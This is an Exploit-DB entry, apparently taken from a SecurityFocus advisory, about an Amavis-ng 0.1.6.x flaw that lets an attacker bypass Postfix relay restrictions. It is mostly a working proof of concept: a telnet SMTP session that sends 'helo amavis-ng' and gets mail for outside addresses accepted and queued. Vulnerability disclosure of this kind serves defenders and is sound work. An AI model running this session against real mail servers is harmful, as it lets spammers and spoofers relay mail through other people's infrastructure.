https://www.exploit-db.com/exploits/22475

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/7306/info

It has been reported that some versions of Amavis-ng do not properly interact with Postfix. Because of this, an attacker may be able to circumvent relay restrictions. 

#> telnet somemx.domain.tld 25
(220 somemx.example.com ESMTP Postfix)
helo amavis-ng
(250 somemx.example.com)
mail from:[email protected]
(250 ok)
rcpt to:[email protected]
(250 ok)
data
(354 End data with <CR><LF>.<CR><LF>)
From: [email protected]
To: [email protected]
Subject: AMaViS-ng 0.1.6.x bug
.
(250 Ok: queued as ...)
quit
(221 Bye)